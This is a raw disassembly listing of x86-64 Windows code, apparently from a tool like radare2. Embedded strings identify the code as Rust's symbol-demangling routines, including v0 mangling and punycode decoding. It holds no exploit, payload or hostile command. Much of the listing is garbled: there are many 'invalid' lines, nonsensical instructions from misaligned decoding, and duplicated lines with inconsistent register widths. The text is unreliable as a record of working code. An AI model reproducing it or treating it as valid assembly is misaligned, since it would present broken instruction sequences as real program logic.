add dword [rax], eax
invalid
add dword [rax], eax
add byte [rax - 0x75], cl
push rsi
and byte [rax - 0x77], cl
fld1
mov edx, 0x84fff4d7
mov rdx, qword [rsi + 0x20]
mov rcx, rbx
call fcn.140016460
test al, al
ror byte [rdi], 0x85
invalid
add dword [rax], eax
invalid
ror byte [rdi], 0x85
movabs al, byte [0x4820468b48000001]
mov ecx, dword [rax + 0x20]
mov rax, qword [rsi + 0x20]
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, [0x14016ee49]
lea edx, [0x14016ee49]
lea edx, [0x14016ee49]
mov r8d, 1
call qword [rax + 0x18]
test al, al
je 0x1400c8bd4
jmp 0x1400c8e4e
test rcx, rcx
je 0x1400c8cf9
lea rdx, [0x140140f28]
mov r8d, 0x19
call fcn.140013600
test eax, 0xb740fff4
add dword [rax + rax*8 + 0x155850f], eax
add byte [rax], al
test eax, 0xb740fff4
add dword [rax + rax*8 + 0x155850f], eax
add byte [rax], al
shr ebx, 8
and bl, 1
mov qword [rsi], 0
mov byte [rsi + 8], bl
jmp 0x1400c8e4c
xor eax, eax
mov r10d, 0x3e
movzx edx, byte [rcx + r9]
cmp dl, 0x5f
je 0x1400c8e0e
lea r11d, [rdx - 0x30]
cmp r11b, 0xa
jb 0x1400c8d51
lea ebx, [rdx - 0x61]
cmp r11b, 0x1a
jae 0x1400c8d3d
sti
sbb cl, byte [rdi]
adc esp, 0
add byte [rax], al
add dl, 0xe3
mov r11d, edx
inc r9
mov qword [rsi + 0x10], r9
mul r10
jo case.0x1400c8922.68
adc byte [rcx - 9], cl
loop 0x1400c8d6b
movzx edx, r11b
add rax, rdx
jb case.0x1400c8922.68
cmp r9, r8
jb 0x1400c8d16
jmp case.0x1400c8922.68
movzx ebx, byte [rbp - 8]
mov rcx, qword [rsi + 0x20]
test bl, bl
jne 0x1400c8a93
invalid
dec dword [rax - 0x7b]
leave
test rcx, rcx
je 0x1400c8daa
lea rdx, str.invalid_syntaxrecursion_limit_reached_for_____::closureshim_as__mut_const___dyn___unsafe_extern__
mov r8d, 0x10
call fcn.140013600
mov dil, 1
test al, al
jne 0x1400c8e4e
mov qword [rsi], 0
mov byte [rsi + 8], bl
jmp 0x1400c8e4c
add byte [rax], al
add byte [rax], al
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1400c8e4c
invalid
mov rcx, qword [rsi + 0x20]
test rcx, rcx
test ecx, ecx
test ecx, ecx
je 0x1400c8e4c
lea rdx, [0x140140f41]
mov r8d, 1
add byte [rax - 0x7f], cl
invalid
nop
add byte [rax], al
add byte [rbx + 0x5f], bl
pop rsi
pop r14
pop rbp
jmp fcn.140013600
cmpsd dword [rsi], dword [rdi]
hlt
invalid
cmpsd dword [rsi], dword [rdi]
hlt
inc r9
mov qword [rsi + 0x10], r9
cmp rax, 0xfffffffffffffffd
jbe 0x1400c8955
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1400c8e41
lea rdx, str.invalid_syntaxrecursion_limit_reached_for_____::closureshim_as__mut_const___dyn___unsafe_extern__
mov r8d, 0x10
call fcn.140013600
mov dil, 1
test al, al
jne 0x1400c8e4e
mov qword [rsi], 0
mov byte [rsi + 8], 0
xor edi, edi
mov eax, edi
add rsp, 0x90
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1400c8e83
lea rdx, [0x140140f4b]
mov r8d, 3
call fcn.140013600
test al, al
jne 0x1400c8e4e
mov rax, qword [rsi + 0x20]
jmp 0x1400c8e85
xor eax, eax
cmp ebx, 0x43
je 0x1400c8ea3
cmp ebx, 0x53
jne 0x1400c8ebf
test rax, rax
je 0x1400c8edb
lea rdx, [0x140140f55]
mov r8d, 4
jmp 0x1400c8eb5
test rax, rax
je 0x1400c8edb
lea rdx, [0x140140f4e]
mov r8d, 7
mov rcx, rax
call fcn.140013600
jmp 0x1400c8ed3
mov dword [rbp - 0x10], ebx
test rax, rax
je 0x1400c8edb
lea rcx, [rbp - 0x10]
mov rdx, rax
call fcn.140017ef0
test al, al
jne 0x1400c8e4e
mov rax, qword [rbp - 0x28]
mov rcx, qword [rsi + 0x20]
or rax, qword [rbp - 0x18]
jne 0x1400c8f5a
test rcx, rcx
je 0x1400c8bd4
lea rdx, [0x140140f59]
mov r8d, 1
call fcn.140013600
test al, al
jne 0x1400c8e4e
mov rdx, qword [rsi + 0x20]
mov qword [rbp - 0x10], r14
test rdx, rdx
je 0x1400c8bd4
lea rcx, [rbp - 0x10]
call fcn.140012c90
test al, al
jne 0x1400c8e4e
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1400c8bd4
lea rdx, [0x140146913]
mov r8d, 1
call fcn.140013600
test al, al
jne 0x1400c8e4e
jmp 0x1400c8bd4
test rcx, rcx
je 0x1400c8bd4
lea rdx, [0x14016ee4a]
mov r8d, 1
call fcn.140013600
test al, al
jne 0x1400c8e4e
mov rdx, qword [rsi + 0x20]
test rdx, rdx
je 0x1400c8bd4
lea rcx, [rbp - 0x30]
call fcn.1400c9440
test al, al
jne 0x1400c8e4e
mov rcx, qword [rsi + 0x20]
test rcx, rcx
jne 0x1400c8ef2
jmp 0x1400c8bd4
lea rax, str._rust_deps_rustc_demangle_0.1.23_src_v0.rs
mov qword [rsp + 0x20], rax
lea rcx, str._fmt::Error_s_should_be_impossible_without_a__fmt::Formatter_
lea r9, [0x140140948]
lea r8, [rbp - 0x10]
mov edx, 0x3d
call fcn.1401049b0
int3
mov byte [rcx + 8], 0
mov qword [rcx], 0
add rsp, 0x30
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
invalid
test rax, rax
je 0x1400c93fd
mov rbx, rax
dec rax
cmp byte [r9 + rbx], 0x5f
jne 0x1400c9380
mov r14, rcx
mov rcx, rax
mov rdx, rdi
mov r8, rsi
call fcn.1400cd700
mov r8, rax
test rbx, rbx
je 0x1400c93f4
cmp rsi, rbx
jbe 0x1400c93f2
cmp byte [rdi + rbx], 0xbf
jg 0x1400c93f4
lea rax, str._rust_deps_rustc_demangle_0.1.23_src_v0.rs
mov qword [rsp + 0x20], rax
mov rcx, rdi
mov rdx, rsi
mov r8, rbx
mov r9, rsi
call fcn.140104b90
mov qword [rcx], rdi
mov qword [rcx + 8], rsi
lea rax, [0x14016f768]
mov qword [rcx + 0x10], rax
mov qword [rcx + 0x18], 0
jmp 0x1400c931c
jne 0x1400c93b6
add rdi, rbx
sub rsi, rbx
mov rcx, r14
test rsi, rsi
je 0x1400c9311
mov qword [rcx], r8
mov qword [rcx + 8], rdx
mov qword [rcx + 0x10], rdi
mov qword [rcx + 0x18], rsi
jmp 0x1400c931c
mov rcx, r10
mov rdx, r9
mov r9, rax
mov ecx, eax
mov ecx, eax
call fcn.140104b90
int3
int3
push rdi
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x288
lea rbp, [rsp + 0x80]
mov rsi, rdx
mov r12, rcx
lea rcx, [rbp - 0x58]
mov r8d, 0x200
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov rcx, qword [r12 + 0x18]
mov rax, rcx
mov qword [rbp + 0x1b8], rcx
test rcx, rcx
je 0x1400c95b3
mov qword [rbp + 0x1c0], rsi
mov rax, qword [r12 + 0x10]
mov qword [rbp + 0x1c8], rax
movzx r10d, byte [rax]
mov rcx, qword [r12]
mov rax, qword [r12 + 8]
test rax, rax
mov qword [rbp + 0x1b0], rcx
mov qword [rbp + 0x1a8], rax
je 0x1400c95de
add rax, rcx
xor r15d, r15d
nop word [rax + rax]
movzx r11d, byte [rcx]
movzx edx, r11b
test dl, dl
js 0x1400c9500
inc rcx
cmp r15, 0x80
jne 0x1400c95a0
jmp 0x1400c99e5
mov r8d, edx
and r8d, 0x1f
movzx esi, byte [rcx + 1]
and esi, 0x3f
cmp dl, 0xdf
jbe 0x1400c955f
movzx r9d, byte [rcx + 2]
shl esi, 6
and r9d, 0x3f
or r9d, esi
cmp r11b, 0xf0
jb 0x1400c957b
movzx edx, byte [rcx + 3]
and r8d, 7
shl r8d, 0x12
shl r9d, 6
and edx, 0x3f
invalid
or edx, r9d
or edx, r8d
cmp edx, 0x110000
je 0x1400c95e1
invalid
add rcx, 4
add ecx, 4
cmp r15, 0x80
jne 0x1400c95a0
jmp 0x1400c99e5
add rcx, 2
shl r8d, 6
or r8d, esi
mov edx, r8d
cmp r15, 0x80
jne 0x1400c95a0
jmp 0x1400c99e5
add rcx, 3
shl r8d, 0xc
or r9d, r8d
mov edx, r9d
cmp r15, 0x80
je 0x1400c99e5
nop word cs:[rax + rax]
mov dword [rbp + r15*4 - 0x58], edx
inc r15
cmp rcx, rax
jne 0x1400c94d0
invalid
invalid
invalid
invalid
jmp 0x1400c95e1
mov rdx, qword [r12]
mov r8, qword [r12 + 8]
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov rax, qword [rax + 0x18]
invalid
invalid
sbb byte [rax - 0x7f], cl
invalid
add rsp, 0x288
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
jmp rax
xor r15d, r15d
dec dword [rax - 0x75]
test dword [rax + 0x4c000001], edi
mov ebp, dword [rbp + 0x1c8]
mov rax, qword [rbp + 0x1b8]
mov r13, qword [rbp + 0x1c8]
add rax, r13
mov qword [rbp + 0x1e0], rax
test eax, esp
add dword [rax], eax
add byte [rdx - 0x73], cl
add al, 0xbd
add al, 0
add byte [rax], al
test eax, esp
add dword [rax], eax
add byte [rdx - 0x73], cl
add al, 0xbd
add al, 0
add byte [rax], al
mov qword [rbp + 0x1e8], rax
mov rax, r15
not rax
mov qword [rbp + 0x1d0], rax
lea rax, [r15 + 1]
mov qword [rbp + 0x200], rax
lea r12, [rbp + r15*4 - 0x64]
mov eax, 0x2bc
mov qword [rbp + 0x1f0], rax
add dword [rax], eax
add byte [rcx - 0x42], al
add byte [rax], al
add byte [rax + 0x80], bh
add dword [rax], eax
add byte [rcx - 0x42], al
add byte [rax], al
add byte [rax + 0x80], bh
mov qword [rbp + 0x1f8], rax
mov edx, 0x1a
xor r8d, r8d
mov ecx, 0x24
sub rcx, r14
mov eax, 0
cmovae rax, rcx
cmp rax, 1
adc rax, 0
cmp rax, 0x1a
cmovae rax, rdx
lea ecx, [r10 - 0x61]
cmp cl, 0x1a
jb case.0x14009e6a0.475
lea ecx, [r10 - 0x30]
cmp cl, 9
ja 0x1400c99e5
add byte [rax], al
add byte [rax], al
add r10b, 0xea
mov ecx, r10d
mov ebx, 0x1a
inc r13
movzx ecx, cl
cmp rax, rcx
jbe 0x1400c96e0
add r8, rcx
jb 0x1400c99e5
invalid
add eax, dword [r8]
invalid
invalid
ror byte [rax + 9], 0xf8
shr rax, 0x20
je 0x1400c97b2
invalid
add byte [rcx + rcx*4 - 0x40], cl
mov rax, r8
xor edx, edx
div rdi
div edi
div edi
mov r9, rdx
add qword [rbp + 0x1f8], rax
jae 0x1400c97c9
cmp ebx, 0
add byte [rax], al
jmp 0x1400c99e5
add eax, dword [rax]
add byte [rsi + 0x66], ah
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rbx + rdi - 0x53], cl
loopne 0x1400c96e6
cmp r13, qword [rbp + 0x1e0]
add byte [rax], al
add byte [rdi], cl
je 0x1400c99e5
test al, bh
add al, byte [rax]
add byte [rdx + 0x48], bh
add byte [rax], al
mov edx, 0x48
add byte [rax], al
sub rdx, r14
mov esi, 0
cmovae rsi, rdx
cmp rsi, 1
cmp rsi, 1
adc rsi, 0
cmp rsi, 0x1a
cmovae rsi, rbx
mov r9d, 0x24
sub r9, rax
sub ecx, eax
sub ecx, eax
mov edi, 0x6c
nop dword [rax]
mov rax, rdi
sub rax, r14
mov r11d, 0
cmovae r11, rax
movzx eax, byte [r13]
lea edx, [rax - 0x61]
cmp dl, 0x1a
jb 0x1400c974d
lea edx, [rax - 0x30]
cmp dl, 9
ja 0x1400c99e5
invalid
add byte [rdx + rbp*8], al
add al, 0xea
mov edx, eax
movzx r10d, dl
mov rax, r10
ror byte [rcx + rcx*4 - 0x30], cl
mul r9
mul ecx
jo 0x1400c99e5
add rcx, rax
jb 0x1400c99e5
cmp rsi, r10
ja 0x1400c9842
invalid
jo 0x1400c99e5
add byte [rcx - 0x77], cl
ror dword [rcx - 1], 0xc5
invalid
mov r9, rax
inc r13
invalid
invalid
cmp r11, 1
adc r11, 0
add byte [rcx - 0x7d], cl
sti
sbb cl, byte [rdi + rcx + 0x43]
cmovae ebx, ebx
add byte [rcx - 0x7d], cl
sti
sbb cl, byte [rdi + rcx + 0x43]
cmovae ebx, ebx
invalid
invalid
invalid
cmovae ebx, ebx
add rdi, 0x24
mov rsi, r11
cmp r13, qword [rbp + 0x1e0]
jne 0x1400c9720
invalid
invalid
invalid
invalid
jmp 0x1400c99e5
add byte [rax], al
mov eax, r8d
xor edx, edx
div edi
mov r9d, edx
add qword [rbp + 0x1f8], rax
add dword [rbp + 0x1f8], eax
add dword [rbp + 0x1f8], eax
jb 0x1400c99e5
mov rax, qword [rbp + 0x1f8]
shr rax, 0x20
jne 0x1400c99e5
mov rax, qword [rbp + 0x1f8]
xor eax, 0xd800
add eax, 0xffef0000
cmp eax, 0xffef0800
jb 0x1400c99e5
cmp r15, 0x7f
ja 0x1400c99e5
mov r10, r15
sub r10, r9
jbe 0x1400c9830
cli
invalid
xchg byte [rsi + 0x4c000000], bl
mov eax, eax
mov r11, qword [rbp + 0x200]
or rax, r11
or eax, ebx
or eax, ebx
shr rax, 0x20
je 0x1400c9853
call 0x18c3b0c46
and byte [rsi + rbp + 0x4c], dh
mov rax, r8
mov eax, eax
xor edx, edx
div r11
jmp 0x1400c985b
add byte [rax], al
jb 0x1400c98c6
jmp 0x1400c9ad6
add dword [rax], eax
add byte [rcx + rcx*4 - 0x40], al
mov eax, r8d
xor edx, edx
div r11d
invalid
mov rdx, r10
mov rdx, r10
ror byte [rax - 0x7d], cl
loop case.0x140093752.261
and rdx, 0xfffffffffffffff8
imul rax, qword [rbp + 0x1d0]
add r8, rax
mov rax, r15
sub rax, r8
and rax, 0xfffffffffffffff8
and eax, 0xfffffff8
neg rax
xor r8d, r8d
nop dword [rax]
movups xmm0, xmmword [r12 + r8*4 - 0x14]
movups xmm1, xmmword [r12 + r8*4 - 4]
test ah, bh
test ah, bh
movups xmmword [r12 + r8*4], xmm1
movups xmmword [r12 + r8*4 - 0x10], xmm0
test al, r14b
test al, dh
test al, dh
add r8, 0xfffffffffffffff8
cmp rax, r8
jne 0x1400c9880
cmp r10, rdx
je 0x1400c98c6
sub r15, rdx
nop dword [rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
test byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rdx - 0x75], al
mov ebp, 0x448942a4
mov ebp, 0x478d49a8
lea rax, [r15 - 1]
mov r15, rax
mov eax, dword [rbp + r15*4 - 0x5c]
mov dword [rbp + r15*4 - 0x58], eax
lea rax, [r15 - 1]
mov r15, rax
cmp rax, r9
ja 0x1400c98b0
mov rax, qword [rbp + 0x1f8]
mov dword [rbp + r9*4 - 0x58], eax
cmp r13, qword [rbp + 0x1e0]
je 0x1400c9a92
movzx r10d, byte [r13]
mov rax, rcx
shr rax, 0x20
mov r11, qword [rbp + 0x1e8]
je 0x1400c9905
mov eax, ecx
xor edx, edx
div qword [rbp + 0x1f0]
mov rcx, rax
jmp 0x1400c9911
mov rsi, qword [rbp + 0x200]
add byte [rdx], al
add byte [rax], al
add al, byte [rax]
add byte [rax - 0x45], cl
pminsw mm4, qword [rax + 0xea0ea0e]
invalid
movabs rbx, 0xea0ea0ea0ea0ea0f
mov rax, rcx
enter 0x948, 0xfffffffffffffff8
enter 0x948, 0xfffffffffffffff8
shr rax, 0x20
je case.0x1400978a6.201
call 0x188290d4f
mov eax, ecx
mov rax, rcx
xor edx, edx
div rdi
mov rdx, rax
add rdx, rcx
add edx, ecx
test dword [rax - 0x77], 0xca0148c2
add edx, ecx
xor r8d, r8d
cmp rdx, 0x1c8
add byte [rax], al
add byte [rax], al
jae 0x1400c9961
jmp 0x1400c998a
mov eax, ecx
xor edx, edx
div edi
mov edx, eax
add rdx, rcx
xor r8d, r8d
cmp rdx, 0x1c8
jb 0x1400c998a
mov rcx, rdx
nop word cs:[rax + rax]
nop dword [rax + rax]
mov rax, rcx
mul rbx
mul ebx
mul ebx
jrcxz 0x1400c99bf
shr rdx, 5
add r8, 0x24
cmp rcx, 0x3e57
mov rcx, rdx
ja 0x1400c9970
inc r9
lea eax, [rdx*4]
lea eax, [rax + rax*8]
add edx, 0x26
mov rcx, rdx
xor edx, edx
div cx
movzx r14d, ax
add r14, r8
add r11, 4
mov qword [rbp + 0x1e8], r11
dec qword [rbp + 0x1d0]
dec dword [rbp + 0x1d0]
dec dword [rbp + 0x1d0]
add byte [rax], al
inc rsi
mov qword [rbp + 0x200], rsi
add r12, 4
mov eax, 2
mov qword [rbp + 0x1f0], rax
mov r15, rdi
mov r8, r9
mov eax, ecx
mov eax, ecx
mov edx, 0x1a
sbb al, byte [rax]
add byte [rax], al
jmp 0x1400c964b
mov rax, qword [rbp + 0x1c0]
add dword [rax], eax
add byte [rbx + rcx*4 + 0x70], cl
mov r14, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
mov rax, qword [rax + 0x18]
invalid
invalid
mov r14, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, str.punycode_0
lea edx, str.punycode_0
lea edx, str.punycode_0
adc eax, 0x77341
jae 0x1400c9a05
add byte [rcx - 0x48], al
or dword [rax], eax
add byte [rax], al
invalid
mov r8d, 9
mov rcx, r14
mov rsi, rax
mov esi, eax
call rax
mov r13b, 1
test al, al
jne 0x1400c9a63
rol byte [rcx - 0x4b], 1
add dword [rax + rax*8 - 0x74b3b08b], eax
test dword [rax + 0x4d000001], ebp
add byte [rax], al
test r8, r8
mov r8, qword [rbp + 0x1a8]
add byte [rax], al
add byte [rbp - 0x7b], cl
sal byte [rcx + rbp + 0x4c], 0x89
int1
test r8, r8
je case.0x140094a12.239
mov rcx, r14
mov rdx, qword [rbp + 0x1b0]
mov rdi, rsi
idiv edi
invalid
test al, al
invalid
jne 0x1400c9a63
idiv edi
invalid
sal byte [rbp + 0x30], 0x48
lea edx, [0x140140d49]
invalid
lea rdx, [0x140140d49]
add byte [rcx - 0x48], al
mov r8d, 1
add dword [rax], eax
add byte [rax], al
mov rcx, r14
int1
call rdi
test al, al
jne 0x1400c9a63
mov rcx, r14
mov rdx, qword [rbp + 0x1c8]
mov r8, qword [rbp + 0x1b8]
mov rdi, rsi
idiv edi
invalid
test al, al
je 0x1400c9a7a
idiv edi
invalid
mov eax, r13d
add rsp, 0x288
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
add byte [rcx + rcx*4 - 0xf], cl
int1
mov rax, rdi
jmp 0x1400c95c8
lea rsi, [rbp + 0x1dc]
add dword [rax], eax
add byte [rax - 0x75], cl
mov rdi, qword [rbp + 0x1c0]
mov rdi, qword [rbp + 0x1c0]
lea rbx, [rbp - 0x58]
mov r14, qword [rbp + 0x1e8]
add byte [rdi], cl
invalid
add byte [rax], r8b
add byte [rdi], cl
invalid
mov eax, dword [rbx]
mov dword [rbp + 0x1dc], eax
fadd qword [rcx]
add byte [rax], al
fadd qword [rcx]
add byte [rax], al
mov rcx, rsi
mov rdx, rdi
mov edx, edi
mov edx, edi
call fcn.140017ef0
mov r13d, eax
invalid
invalid
test al, al
jne 0x1400c9a63
cdq
cdq
add rbx, 4
add r14, 0xfffffffffffffffc
add al, 0x49
add esi, 0xfffffffc
jne 0x1400c9ab0
jmp 0x1400c9a63
lea r8, str._rust_deps_rustc_demangle_0.1.23_src_v0.rs
mov edx, 0x80
jb 0x1400c9ae3
add byte [rdx + 0x80], bh
mov rcx, r9
mov ecx, ecx
call fcn.140104670
int3
xchg byte [rbx - 0x3333fffd], ch
int3
int3
cmp rax, qword [rcx + 8]
jae 0x1400c9b1e
mov rdx, qword [rcx]
movzx edx, byte [rdx + rax]
inc rax
inc eax
mov qword [rcx + 0x10], rax
lea eax, [rdx - 0x41]
cmp al, 0x1a
adc byte [r13 + 0x1a3cbf42], cl
jae 0x1400c9b2a
shl rdx, 0x20
xor eax, eax
ror byte [rax + 9], 0xd0
and byte [rcx], dh
ror byte [rax + 9], 0xd0
pop rbp
ret
mov eax, 1
xor edx, edx
or rax, rdx
pop rbp
ret
add dl, 0x85
xor ecx, ecx
xor eax, eax
cmp dl, 0xe6
cli
out 0xf, al
xchg edx, eax
ror byte [rax - 0x46], 0
add byte [rax], al
add byte [rax], al
add byte [rcx], dl
invalid
cli
out 0xf, al
xchg edx, eax
ror byte [rax - 0x46], 0
add byte [rax], al
add byte [rax], al
add byte [rcx], dl
add byte [rax + 0xf], cl
ror dword [rax + 9], 1
rcr byte [rbp - 0x3d], 1
ret
int3
cmovb rdx, rcx
or rax, rdx
or eax, edx
pop rbp
ret
add dword [rax - 0x7b], ecx
ror byte [rdi], 0x84
invalid
test eax, eax
add byte [rax], al
add byte [rbx + rcx*4 + 0x46], cl
or byte [rax - 0x75], cl
mov ecx, dword [rsi + 0x10]
cmp rcx, r8
mov ecx, dword [rsi + 0x10]
ror dword [rdi], 0x83
xchg esp, eax
add byte [rax], al
add byte [rdi], cl
mov dh, 0x1c
or byte [rax - 0x73], cl
push rcx
add dword [rax - 0x77], ecx
push rsi
adc byte [rbp + rcx*4 + 0x4b], al
lea r9d, [rbx - 0x61]
movzx ecx, cl
leave
add eax, dword [rbp + 0xf]
movabs dword [0x4400000159820fca], eax
jb 0x1400c9d00
invalid
add byte [rbx + rcx*4 + 0x4e], al
sbb byte [rcx - 1], al
mov ecx, dword [rsi + 0x18]
sbb byte [rcx - 1], r8b
rol dword [rcx + rcx*4 + 0x4e], 0x18
xchg byte [rax + rax - 0x74b80000], cl
add byte [rax], al
add byte [rax - 0x75], cl
and byte [rax - 0x7b], r9b
leave
test ecx, ecx
add byte [rax], al
add al, ch
invalid
invalid
hlt
add byte [rax], al
add dh, al
or byte [rcx], r8b
mov ecx, dword [rsi + 0x20]
adc eax, 0x77343
jae 0x1400c9c04
add byte [rcx - 0x48], al
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax - 0x7d], cl
invalid
mov ecx, dword [rsi + 0x20]
adc eax, 0x772f7
add byte [rcx - 0x48], al
adc byte [rax], al
add byte [rax], al
invalid
cdq
hlt
sal byte [rbp + 0xd], 0x48
mov dword [rsi], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add dh, al
or byte [rax], r8b
invalid
add byte [rcx], dh
dec dword [rcx - 0x3b7cb708]
add rsp, 0x38
pop rbx
pop rdi
movzx ecx, bl
stc
adc ecx, dword [rdi]
xchg dword [rax + 0x4c000001], esp
invalid
add dword [rax], eax
invalid
invalid
movabs al, byte [0xb078158d4c000001]
add byte [rbp + rcx*4 + 0x15], cl
lea edx, [0x140174cdc]
js 0x1400c9c12
or al, byte [rax]
mov cl, byte [rbp + 1]
rol dword [rcx - 1], 1
invalid
invalid
add ecx, edx
loope 0x1400c9cb7
mov ecx, dword [rsi + 0x20]
test rcx, rcx
leave
and byte [rax - 0x7b], r9b
leave
je case.0x1400b4145.99
sbb dword [rax - 0x73], ecx
adc eax, 0xa51ca
or al, byte [rax]
lea rdx, [0x14016ee48]
or al, byte [rax]
add byte [rcx - 0x48], al
add dword [rax], eax
add byte [rax], al
invalid
mov r8d, 1
add byte [rax], al
add al, ch
invalid
ja 0x1400c9c20
call fcn.140013600
mov dil, 1
mov bh, 1
hlt
mov bh, 1
test al, al
jne 0x1400c9c40
mov rcx, rsi
call case.0x1400aa870.134
mov eax, 0x40fffffe
mov bh, 1
mov eax, 0x40fffffe
invalid
mov bh, 1
test al, al
jne 0x1400c9c40
cmp bl, 0x41
jne 0x1400c9cdc
sti
jne 0x1400c9cdc
test ecx, ecx
leave
je 0x1400c9cc7
sbb cl, byte [rax - 0x73]
lea rdx, [0x140140f69]
adc eax, 0x772b5
jb 0x1400c9cba
add byte [rcx - 0x48], al
add al, byte [rax]
add byte [rax], al
mov r8d, 2
add byte [rax], al
add al, ch
cdq
hlt
call fcn.140013600
test al, al
inc dword [rax + rax*8 - 0x867af1]
ror byte [rdi], 0x85
jns 0x1400c9cc4
jne 0x1400c9c40
test dword [rcx - 1], edi
invalid
mov dil, 1
mov bh, 1
mov rcx, rsi
mov dl, 1
call case.0x1400aa870.155
add eax, 0xc0840000
test al, al
ror byte [rdi], 0x85
invalid
jne 0x1400c9c40
mov rcx, qword [rsi + 0x20]
test rcx, rcx
test ecx, ecx
leave
je 0x1400ca031
test byte [rax + 3], cl
add byte [rax], al
add rax, qword [rax]
add byte [rax - 0x73], cl
adc eax, 0xa5159
lea rdx, [0x14016ee49]
lea edx, [0x14016ee49]
mov r8d, 1
mov eax, 1
add dword [rax], eax
add byte [rax], al
add al, ch
add eax, 0xe9fff499
cdq
hlt
invalid
jmp case.0x1400930de.269
mov rcx, qword [rsi + 0x20]
invalid
invalid
call fcn.140013600
jmp case.0x1400930de.269
cdq
hlt
mov ecx, dword [rsi + 0x20]
test ecx, ecx
leave
test byte [rcx], dh
invalid
xor edi, edi
invalid
dec dword [rax - 0x73]
add eax, 0x774bc
mov edx, dword [rax + rcx*8]
add byte [rsi - 0x75], cl
add al, 0xc8
invalid
mov eax, dword [rax + rcx*8]
enter 0xffffffffffffdce9, 0xfffffffffffffffe
invalid
mov ecx, dword [rsi + 0x20]
test ecx, ecx
mov esp, 0x4100076e
mov eax, 1
add byte [rax], al
outsb dx, byte [rsi]
invalid
add byte [rax], al
test edx, esi
invalid
invalid
dec dword [rax - 0x75]
invalid
add byte [rbx + rcx*4 + 0x46], cl
or byte [rax - 0x75], cl
or byte [rax - 0x75], r9b
push rsi
adc byte [rcx + rdi - 0x3e], cl
cmp rdx, r8
or dword [rax - 0x7ffffffe], 0x3c
add al, byte [rax]
add byte [rax + 0xf4c103c], al
cmp al, 0x10
adc byte [rdi + rcx - 0x7b], cl
jle 0x1400c9d75
add byte [rax], al
adc byte [rdi + rcx - 0x7b], cl
jle 0x1400c9d75
add byte [rax], al
add byte [rax - 1], cl
ret 0x8948
invalid
push rsi
adc byte [rax - 0x73], cl
lea rcx, [rbp - 8]
lea ecx, [rbp - 8]
jge 0x1400c9d83
add byte [rdi], cl
test byte [rdx], ah
and al, byte [rdx]
invalid
and al, byte [rdx]
add byte [rax], al
invalid
add byte [rdi], cl
mov dh, 0x5d
pop rbp
pop rbp
stc
add byte [rax - 0x7b], cl
leave
test ecx, ecx
add byte [rax - 0x73], cl
lea edx, [0x140140f28]
adc eax, 0x77176
cwde
add al, byte [rax]
add byte [rax], al
mov rcx, qword [rsi + 0x20]
mov ecx, dword [rsi + 0x20]
test rcx, rcx
add byte [rax], al
mov rcx, qword [rsi + 0x20]
mov ecx, dword [rsi + 0x20]
mov ecx, dword [rsi + 0x20]
test rcx, rcx
je 0x1400c9f62
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x7d40f
lea rdx, [0x1401471e0]
mov r8d, 1
mov eax, 1
add byte [rax], al
call fcn.140013600
mov dil, 1
add dword [rax + rax*8 - 0x1a67af1], eax
invalid
invalid
cwde
hlt
add dword [rax + rax*8 - 0x1a67af1], eax
invalid
mov rcx, qword [rsi + 0x20]
mov ecx, dword [rsi + 0x20]
and cl, r13b
je 0x1400c9def
invalid
jmp 0x1400c9f64
add dword [rax], eax
add byte [rax], al
mov rcx, rsi
mov ecx, esi
add byte [rax - 0x77], cl
int1
mov ecx, esi
call fcn.1400cc7a0
test al, 0x29
add byte [rax], al
jmp case.0x1400930de.269
mov ecx, esi
int1
shr al, cl
jne 0x1400c9df3
invalid
test rcx, rcx
leave
je case.0x1400c4486.56
lea rdx, [0x140140f6b]
mov r8d, 4
add byte [rax], al
invalid
mov eax, 4
add byte [rax], al
add al, ch
invalid
invalid
call fcn.140013600
mov dil, 1
test al, al
jne 0x1400c9c40
invalid
invalid
add dword [rax + rax*8 - 0x1f57af1], eax
invalid
mov rcx, rsi
call fcn.1400ccaa0
mov dil, 1
test al, al
jne 0x1400c9c40
std
invalid
invalid
mov rcx, qword [rsi]
test rcx, rcx
je 0x1400c9f88
mov rax, qword [rsi + 0x10]
mov eax, dword [rsi + 0x10]
cmp rax, qword [rsi + 8]
jae 0x1400c9f88
add byte [rax + 0xf4c013c], al
test dword [rbx], ebx
cmp byte [rcx + rax], 0x4c
jne 0x1400c9f88
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rax - 1], cl
ror byte [rax - 0x77], 0x46
adc byte [rax - 0x73], cl
clc
inc rax
mov qword [rsi + 0x10], rax
lea rcx, [rbp - 8]
mov rdx, rsi
mov edx, esi
call fcn.1400cc940
cmp byte [rbp - 8], 0
jne 0x1400c9d92
invalid
invalid
invalid
invalid
mov rbx, qword [rbp]
test rbx, rbx
je 0x1400ca031
add byte [rax], al
add byte [rax - 0x7b], cl
fisttp dword [rdi]
test byte [rdx + 0x48000001], bl
add byte [rax], al
mov rcx, qword [rsi + 0x20]
add byte [rax], al
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1400c9eba
lea rdx, [0x140140f6f]
lea edx, [0x140140f6f]
invalid
mov r8d, 3
add eax, dword [rax]
add byte [rax], al
invalid
call fcn.140013600
test al, al
jne 0x1400c9c40
mov rcx, rsi
mov rdx, rbx
call fcn.1400ca920
pop rbx
or al, byte [rax]
add byte [rax], al
pop rbx
